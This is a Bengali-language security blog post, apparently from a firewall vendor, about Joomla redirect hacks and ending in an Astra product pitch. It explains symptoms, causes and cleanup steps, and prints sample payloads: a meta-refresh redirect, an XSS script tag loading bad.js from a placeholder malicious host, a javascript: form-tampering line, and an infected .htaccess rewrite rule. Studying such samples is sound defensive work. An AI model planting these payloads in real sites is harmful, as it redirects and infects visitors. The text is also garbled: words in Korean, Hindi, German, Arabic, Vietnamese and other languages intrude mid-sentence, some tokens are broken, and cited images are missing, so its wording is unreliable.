Joomla সাইট ম্যানেজ করার প্রতিদিনের নীরস কাজগুলোতে সুবিধা যোগ করে। ওপেন সোর্স কমিউনিটি দ্বারা চালিত, এই CMS ইউজার-ফ্রেন্ডলি। Joomla তার ব্যাপক রেঞ্জের এক্সটেনশনের জন্যও জনপ্রিয়। 올해 Joomla-এ একাধিক দুর্বলতা আবিষ্কৃত হয়েছে। এগুলো Joomla XSS, ফাইল ইন্ট্রুশন থেকে Joomla SQL ইনজেকশন পর্যন্ত বিস্তৃত। এই দুর্বলতাগুলো আক্রমণকারীদের আকৃষ্ট করে যারা এগুলো শোষণ করে লাভ করতে চায়। ডেভেলপাররা আর্লি প্যাচ রিলিজ করে কিন্তু ব্যবহারকারীরা আপডেট করতে সময় নেন। এতে বড় সংখ্যক Joomla এক্সপ্লয়েটের আশ্রয়স্থল হয়ে যায়। একবার কম্প্রোমাইজ হলে, Joomla সাইট আক্রমণকারীর হাতে চলে যায়। আক্রমণকারী, সেটি ডিফেস বা ধ্বংস করতে পারে বা একটি Joomla রিডাইরেক্ট হ্যাক চালাতে পারে। Joomla রিডাইরেক্ট হ্যাক খুব সাধারণ কারণ এটি আক্রমণকারীদের ক্লিক হারভেস্ট করতে সাহায্য করে। Joomla রিডাইরেক্ট হ্যাক আক্রমণকারীদের স্প্যাম সার্ভ করতে সাহায্য করে। Joomla Web Security বইয় অনুযায়ী,
Joomla রিডাইরেক্ট হ্যাক: লক্ষণ
Joomla রিডাইরেক্ট হ্যাক প্রায়শই ডিটেক্ট করা কঠিন। ওয়েব অ্যাডমিন দীর্ঘ সময় অনজান থাকতে পারেন। সে/তিনি শুধু তখন নোটিফাইড হয়েন যখন কিছু ইউজার ওয়েবসাইট থেকে অন্যদিকে चले যাওয়ার অভিযোগ করে। Joomla ম্যালওয়্যার রিডাইরেক্ট দ্বারা কম্প্রোমাইজড সাইটের কিছু সাধারণ লক্ষণ:
- ব্যবহারকারীদের অজানা ডোমেইনে রিডাইরেক্ট করা হচ্ছে।
- ভিজিটরদের ফেক অ্যাডভার্টাইজমেন্ট সাইট সার্ভ করা হচ্ছে।
- সাইট ব্যবহারকারীর ডিভাইসে ম্যালওয়্যার ইনস্টল করার চেষ্টা করছে।
- স্প্যাম সার্ভ করার জন্য সাইট ব্ল্যাকলিস্টেড হচ্ছে।
- ফেক ফিশিং পেজ সাইটে দেখা যাচ্ছে। বিশেষ করে পেমেন্ট পেজে।
- এক পর একটি একাধিক পপ-আপ দেখা যাচ্ছে।
Joomla হ্যাকড রিডাইরেক্ট: উদাহরণ
Joomla ম্যালওয়্যার রিডাইরেক্ট ইন্টারনেট জুড়ে ওয়েব অ্যাডমিনদের বিমুঢ় করে দিয়েছে। প্রায়শই প্রথম রিয়েকশন হলো Joomla কমিউনিটি ফোরাম থেকে সাহায্য নেওয়া। কখনো কখনো Joomla রিডাইরেক্ট হ্যাক ক্লিনআপের পরেও ফিরে আসে। ऐसे কিছু কেসের উদাহরণ নিচে দেওয়া হলো।
Joomla রিডাইরেক্ট হ্যাক: কারণ
DNS হাইজ্যাকিং
DNS হাইজ্যাকিং-এর কিছু গভীর ইম্প্লিকেশন রয়েছে। Wikileaks-এর মতো বড় কোম্পানিগুলো DNS হাইজ্যাকিং আক্রমণের শিকার হয়েছে। এই টেকনিক ব্যবহার করে একজন আক্রমণকারী আপনার Joomla সাইটের সম্পূর্ণ ট্রাফিক রি-রুট করতে পারে। বিশেষ করে বড় কর্পোরেশনকে তাদের DNS সার্ভার সিকিউর রাখতে হয়। DNS হাইজ্যাকিং দুটি চ্যানেল দিয়ে পরিচালিত হতে পারে:
- Hosts ফাইল ট্যাম্পারিং: প্রতিটি কম্পিউটারের নিজস্ব Hosts.txt ফাইল থাকে। এই ফাইল তাদের হোস্টনেমকে করেসপন্ডিং IP-এ ট্রান্সলেট করতে সাহায্য করে। একটি বড় স্কেলের ম্যালওয়্যার আক্রমণ কম্পিউটারদের hosts ফাইল ট্যাম্পার করতে পারে। এই কম্পিউটারগুলো তখন আপনার Joomla সাইটের বদলে আক্রমণকারী-নিয়ন্ত্রিত ডোমেইনে রিডাইরেক্ট হবে। এভাবে Joomla ম্যালওয়্যার রিডাইরেক্ট করা হয়।
- DNS সার্ভার আক্রমণ: DNS একটি পুরনো প্রোটোকল, তাই পুরো সিস্টেম ট্রাস্টের ওপর নির্ভর করে। DNS সার্ভার স্লেভ এবং মাস্টার সার্ভার দিয়ে কমিউনিকেট করে। মাস্টার রিকোয়েস্ট অনুযায়ী স্লেভ সার্ভারদের জোন ট্রান্সফার করে। DNS জোনগুলো মূলত লোকাল ডাটাবেসের একটি কপি। এতে মেশিন সম্পর্কে সংবেদনশীল ইনফো থাকে যা পাবলিকলি সার্চ ইঞ্জিনে দৃশ্যমান নাও হতে পারে। তাই আক্রমণকারী একটি রওগ স্লেভ সার্ভার সেট আপ করে এবং জোনের একটি কপি পায়। এই ইনফো ব্যবহার করে আক্রমণকারী দুর্বল মেশিন আক্রমণ করে এবং নেটওয়ার্ক কম্প্রোমাইজ করে। এর পাশাপাশি, আক্রমণকারী লোকাল DNS সার্ভার ট্যাম্পার করতে পারে। তাই সকল কোয়েরি আক্রমণকারী-নিয়ন্ত্রিত মেশিনে রিডাইরেক্ট হয়। এভাবে সফলভাবে Joomla রিডাইরেক্ট হ্যাক সম্পন্ন হয়!
এর পাশাপাশি, এই আক্রমণগুলো LAN নেটওয়ার্কে পাবলিক WiFi-এও চালানো যায়। আক্রমণকারী একটি ফেক DNS প্রক্সি সেট আপ করতে পারে। এটি আপনার Joomla সাইটের IP আক্রমণকারী-নিয়ন্ত্রিত মেশিনে রেজল্ভ করবে। এভাবে সকল লোকাল ইউজারকে ফেক Joomla সাইটে রিডাইরেক্ট করতে পারবে। এভাবে Joomla রিডাইরেক্ট হ্যাক সম্পন্ন হবে!
SQL ইনজেকশন
এই বছরেই Joomla একাধিক SQLi-র আশ্রয়স্থল ছিল। একটি কেসে দুর্বল কম্পোনেন্ট ছিল User Notes list view এবং এটিকে CVE-2018-8045 নামে ডাব করা হয়েছিল। এই ফ্লো আক্রমণকারীকে সার্ভারে SQL স্টেটমেন্ট এক্সিকিউট করতে দিত। ফলে ডাটাবেসের সংবেদনশীল টেবিল এক্সপোজ হয়েছিল। এখান থেকে প্রাপ্ত লগইন ইনফো ড্যাশবোর্ড কম্প্রোমাইজ করতে পারে। ড্যাশবোর্ড আক্রমণকারীকে প্রতিটি ফাইলকে জাভাস্ক্রিপ্ট কোড দিয়ে ইনফেক্ট করতে দিত রিডাইরেক্ট তৈরি করার জন্য। প্রায়শই আক্রমণকারী এই প্রসেস অটোমেট করার চেষ্টা করে এবং তাই স্ক্রিপ্ট আপলোড করে যা এই টাস্ক সম্পন্ন করে। আক্রমণকারী বিদ্যমান ফাইলগুলোর মধ্যে ইনজেক্ট করতে পারে বা নতুন ফাইল তৈরি করে Joomla হ্যাকড রিডাইরেক্ট ইনসার্ট করতে পারে। সাধারণত তৈরি হওয়া ইনফেকশাস ফাইলগুলো Joomla হ্যাকড রিডাইরেক্ট তৈরি করে:
- /uuc/news_id.php
- /zkd/news_fx.php
- /dgmq/w_news.php
- /cisc/br-news.php
যদি আপনি solche কোনো ফাইল নোটিশ করেন, সেগুলো রিমুভ করার দিকে অগ্রসর হন। এই ফাইলগুলো প্রতিটিতে ম্যালিশিয়াস রিডাইরেক্ট কোড থাকে। সেটি দেখতে কিছু এই রকম:
<meta http-equiv="refresh" content="2; url=https://attackerDOMAIN.com/ ">. এই ফাইলগুলো Meta tags ব্যবহার করে ইউজার রিডাইরেক্ট করে। ভিজিটররা attackerDOMAIN.com-এ রিডাইরেক্ট হয়। এখানে লক্ষ্য করা উচিত যে কখনো কখনো Joomla সাইট স্ট্যাকড বেজড SQLi-এর আশ্রয়স্থল হতে পারে। এটি আক্রমণকারীকে সিস্টেম কমান্ড এক্সিকিউট করার ক্ষমতা দেয়। আক্রমণকারী তাই শুধু SQL স্টেটমেন্ট ব্যবহার করে ফাইলগুলোর ম্যালিশিয়াস রিডাইরেক্ট কোড ইনফেক্ট করতে পারে!
ক্রস-সাইট স্ক্রিপ্টিং
XSS হলো SQLi-এর घনিষ্ঠ বন্ধু সাধারণভাবে পাওয়া দুর্বলতা ব্যাপারে। 올해 Joomla-এ XSS দুর্বলতার একটি পুরো বাঞ্চ আবিষ্কৃত হয়েছে। এগুলো شامل CVE-2018-15880, CVE-2018-12711, CVE-2018-11328, CVE-2018-11326। তালিকায় সবচেয়ে গভীরটি CVE-2018-12711। এটি একটি ফল্টি ‘ল্যাঙ্গুয়েজ সুইচার মডিউল‘-এর কারণে হয়েছিল। 이ne কিছু ল্যাঙ্গুয়েজের URL JS-এ ইনফেক্টেড হতে পারত। XSS ব্যবহার করে, আক্রমণকারী কুকি চুরি করার পাশাপাশি Joomla ম্যালওয়্যার রিডাইরেক্ট করতে পারে।
<script%20src="https://maliciousSite.com/bad.js"></script>
এখানে এই কোড, দুর্বল প্যারামিটারের পরে ইনজেক্ট হলে, ব্যবহারকারীদের রিডাইরেক্ট করতে পারে। ব্যবহারকারীরা maliciousSite.com-এ রিডাইরেক্ট হয় এবং একটি ম্যালিশিয়াস স্ক্রিপ্ট bad.js লোড হয়। bad.js স্ক্রিপ্ট আক্রমণকারীর মোটিভ অনুযায়ী সব ধরনের জাভাস্ক্রিপ্ট অপারেশন পারফর্ম করতে পারে। XSS শোষণ করে আক্রমণকারী ভিক্টিমকে ফিশিং পেজে লুব্ধ করতে পারে Joomla রিডাইরেক্ট হ্যাক করার পাশাপাশি।
জাভাস্ক্রিপ্ট ইনজেকশন
জাভাস্ক্রিপ্ট খুব পাওয়ারফুল এবং ডাইনামিক টাস্ক সম্পন্ন করতে প্রায়শই ব্যবহার করা হয়। যাইহোক, কিছু এক্সটেনশন ডেভেলপার দ্বারা সेफ কোডিং প্র্যাকটিস ফলো না করলে Joomla জাভাস্ক্রিপ্ট ইনজেকশনের আশ্রয়স্থল হয়। XSS-এর মতোই, জাভাস্ক্রিপ্ট ইনজেকশন Joomla হ্যাকড রিডাইরেক্ট চালাতে ব্যবহার করা যায়। জাভাস্ক্রিপ্ট ইনজেকশন-এর হিউরিস্টিক টেস্ট করা যায়। আপনি যে সাইট ভিজিট করছেন তার অ্যাড্রেস বারে টাইপ করুন:
javascript:alert(‘Hello World!’);
যদি সাইট ‘Hello World!’ বলে একটি মেসেজ বক্স ডিসপ্লে করে, তবে সাইটটি দুর্বল। এখান থেকে আক্রমণকারী সাইটকে বহু পথে ম্যানিপুলেট করতে পারে। উদাহরণস্বরূপ, আক্রমণকারী একটি ফর্মের নির্দিষ্ট ফিল্ডে ফেক URL অ্যাড করতে পারে।
javascript:void(document.forms[0].redirect01.value="fakeDOMAIN.com") এখানে, এই কোড টুকরো fakeDOMAIN.com ভ্যালু redirect01 নামে ইনপুটে অ্যাপেন্ড করছে। তাই ফিল্ডে এখন ফেক সাইটের লিংক থাকবে। যাইহোক, এখানে লক্ষ্য করা উচিত যে রিফ্লেক্টেড XSS-এর মতো এই আক্রমণ লোকাল মেশিনে অনলাইন পারফর্ম করা হয়। তাই রিমোট ইউজারকে ফাঁসাতে আক্রমণকারীরা অন্যান্য সোশ্যাল ইঞ্জিনিয়ারিং টেকনিকের উপর নির্ভর করতে হবে।
.htaccess ফাইল
.htaccess একটি খুব পাওয়ারফুল ফাইল যা একাধিক টাস্ক পারফর্ম করতে পারে। কিছু টাইপের স্ক্রিপ্ট ইনজেকশন আক্রমণ প্রতিরোধ করার পাশাপাশি, এটি প্রায়শই রিডাইরেক্ট তৈরি করতে ব্যবহার করা হয়। Joomla রিডাইরেক্ট হ্যাকের কেসে, .htaccess ফাইলটি নিচের কোডের মতো ইনফেক্টেড থাকবে:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteRule .* https://MaliciousDomain.tld/redirect.php?t=3 [R,L]
এই কোড স্নিপেটের ফাইনাল লাইন ইউজারদের MaliciousDomain-এ রিডাইরেক্ট করে। এটি redirect.php স্ক্রিপ্ট ব্যবহার করে অকম্পলিশ করা হয়। .htaccess ছাড়া, index.php এর মতো ফাইলও সাধারণত ইনফেক্টেড হয়। যেহেতু index.php হলো ইউজার যেটি প্রথমে ল্যান্ড করে, সেটি সিগনিফিক্যান্ট পরিমাণ ইউজার ট্রাফিকONTRIBUTE করে। আক্রমণকারী তাই index.php কম্প্রোমাইজ করার চেষ্টা করে ম্যাক্সিমাম ট্রাফিক ডাইভার্ট করতে। এই ডাইভার্টেড ট্রাফিক igjen আক্রমণকারীকে ক্লিক হারভেস্ট করতে সাহায্য করে।
Joomla রিডাইরেক্ট হ্যাক: ফিক্সেস
DNS সার্ভার সিকিউর করুন
জোন ট্রান্সফারকে বেয়ার মিনিমামে রস্ট্রিক্ট করুন। সকল স্লেভ DNS সার্ভার প্রিডিফাইন করুন যাতে কোনো রওগ স্লেভ জোন ট্রান্সফার রিকোয়েস্ট না করতে পারে। এটি named.conf.local ফাইল এডিট করে করা যায়। উদাহরণস্বরূপ নিচের ইমেজটি দেখুন।
এই কোড টুকরো স্লেভ DNS সার্ভারগুলো প্রিডিফাইন করে অর্থাৎ secundario01। তাই শুধু ট্রাস্টেড সার্ভারগুলোর জোন ট্রান্সফার আ্যালো করে। কখনো কখনো DNS সার্ভার ডেটা এক্সফিলট্রেশন আক্রমণেও ব্যবহার করা হয়। তাই DNS সার্ভারের মাধ্যমে পাস হওয়া ডেটা প্যাকেট রিয়েল টাইমে মনিটর করুন। এটি Wireshark-এর মতো হ্যান্ডি টুল দিয়ে অকম্পলিশ করা যায়।
ডাটাবেস ক্লিন করুন
যখন Joomla রিডাইরেক্ট হ্যাকের জন্য দায়ী কোড কোর ফাইলগুলোর মধ্যে লুকানো থাকে, তা ডিটেক্ট করা কঠিন হয়। যাইহোক, সব ইনফেক্টেড ফাইলে কিছু.Common থাকে। সেটি হলো রিডাইরেক্টের জন্য দায়ী ম্যালিশিয়াস কোড। সকল এমন ফাইল এক ক্লিকে সার্চ করা যায় ডাটাবেস অ্যাডমিন টুল যেমন PhpMyAdmin ব্যবহার করে। উদাহরণস্বরূপ নিচের ইমেজটি দেখুন।
PhpMyAdmin একটি সার্চ ফাংশনের সাথে আসে যা ডিটেকশন সহজ করে। এই টুল hxxp://maliciousSITE[.]com/bad.php ম্যালিশিয়াস স্ক্রিপ্ট ধারণকারী সকল পেজ/পোস্ট সার্চ করতে পারে। এর পাশাপাশি, এই টুল ব্যবহার করা যায়:
- নতুন অ্যাডমিন চেক করা এবং সেগুলো রিমুভ করা।
- ডাটাবেস পাসওয়ার্ড রিসেট করা।
- ইনফেক্টেড টেবিল ক্লিন করা।
- আক্রমণকারী ডাটাবেস ড্যামেজ করলে চেঞ্জস রোল ব্যাক করা।
থার্ড পার্টি অ্যাডভার্টাইজমেন্ট
প্রায়শই ওয়েব অ্যাডমিন থার্ড-পার্টি অ্যাড সাইটে আ্যালো করে কিছু রেভেনিউ পাওয়ার জন্য। যাইহোক, কিছু অ্যাড নেটওয়ার্ক বাই দি বুক খেলে না। অ্যাড কন্টেন্ট সার্ভ করার লেনিয়েন্সি ম্যালিশিয়াস প্লেয়ারদের অ্যাডের মধ্যে রিডাইরেক্ট কোড ইনজেক্ট করতে দেয়। এর পাশাপাশি, অধিকাংশ ম্যালিশিয়াস স্ক্রিপ্ট অন্য সার্ভারে হোস্টেড থাকে যা বিষয়টিকে আরও জটিল করে তোলে। যদি ক্লিনিং এর পর বারবার ইনফেকশন রিকার করে, অ্যাড ব্লক করার চেষ্টা করুন। যদি Joomla রিডাইরেক্ট হ্যাক বন্ধ হয়, তবে এটা সাইটে ম্যালিশিয়াস অ্যাডের কারণে ছিল সম্ভবত। তাই, অ্যাড নেটওয়ার্কের সাথে যোগাযোগ করুন এবং ইস্যু রেজলভ করুন।
অন্যান্য সতর্কতা
- আপডেটে কী সিকিউরিটি ফিক্স থাকে যেটি চেঞ্জলগ থেকে ভেরিফাই করা যায়। তাই নিয়মিত আপডেট করুন Joomla সিকিউর রাখতে।
- প্রতিষ্ঠিত এক্সটেনশনই ব্যবহার করুন। নাল বা খারাপ কোড করা এক্সটেনশন এড়ান। কোর ফাইলের পাশাপাশি, আপনার এক্সটেনশনও আপডেট রাখুন।
- সিকিউর ক্রেডেনশিয়াল ব্রুট ফোর্স আক্রমণের চান্স মিনিমাইজ করতে পারে।
- সার্ভারের ফাইল পারমিশন সিকিউর করুন। নিশ্চিত করুন যে
.htaccessএর পারমিশন444 (r–r–r–)বা440 (r–r—–)সেট করা আছে। - যদি আপনি ফাইল মডিফিকেশন সন্দেহ করেন, SSH. দিয়ে লগইন করুন। টার্মিনালে নিচের কমান্ড এক্সিকিউট করুন
find /path-of-www -type f -printf '%TY-%Tm-%Td %TT %pn' | sort -r. আউটপুট হবে তাদের রেসপেক্টিভ টাইমস্ট্যাম্প অনুযায়ী মডিফাইড ফাইলগুলোর লিস্ট। এখান থেকে ম্যানুয়ালি ফাইল ইন্সপেক্ট করুন। সন্দেহজনক লাইন অফ কোড '#' ক্যারেক্টার ব্যবহার করে কমেন্ট আউট করুন। তারপর এক্সপার্টের সাথে ফাইল ইভ্যালুয়েশনের জন্য কনসাল্ট করুন!
ফায়ারওয়াল
নিশ্চিত করা গুরুত্বপূর্ণ যে Joomla রিডাইরেক্ট হ্যাক পুনরাবৃত্তি না হয়। যাইহোক, হ্যাকাররা liên tục সাইটকে টার্গেট করতে পারে। এমন সিনেরিওতে সবচেয়ে ইফেক্টিভ ডিফেন্স মেকানিজম হলো ফায়ারওয়াল ব্যবহার করা। ফায়ারওয়াল ইন্টিগ্রেট করা খুব সহজ এবং সুবিধাজনক। আজকের বাজারে উপলব্ধ সিকিউরিটি সলিউশন সহজে স্কেলেবল। Astra-এর মতো যেটি পারফেক্ট ছোট ব্লগ এবং বড় শপিং সাইট উভয়ের জন্য। এর পাশাপাশি, Astra ব্যবহারকারীদের ইমেইল দিয়ে নোটিফাই করে যখন কোনো ফাইল মডিফাই হয়।
Astra
Joomla ম্যালওয়্যার রিডাইরেক্ট ব্লক করার বিষয়ে Astra-র একটি গ্রেট ট্র্যাক রেকর্ড রয়েছে। এছাড়া, Astra-র ডিপ্লয়েড প্যাকেট ফিল্টারিং নিশ্চিত করে যে আক্রমণকারীদের কোনো বэд রিকোয়েস্ট আপনার সাইটকে হার্ম না করে। এর পাশাপাশি, Astra আপনার Joomla সাইটের সিকিউরিটি অডিট করে এবং কোনো দুর্বলতা ডিটেক্ট হলে আপনাকে নোটিফাই করে। তেমন আক্রমণকারীদের চেয়ে আপনি এক ধাপ এগিয়ে থাকুন। মানব সহায়তা এবং অটোমেশনের একটি পারফেক্ট এমালগামেশন, Astra Joomla রিডাইরেক্ট হ্যাক ব্লক করার জন্য অত্যন্ত রিকমেন্ডেড।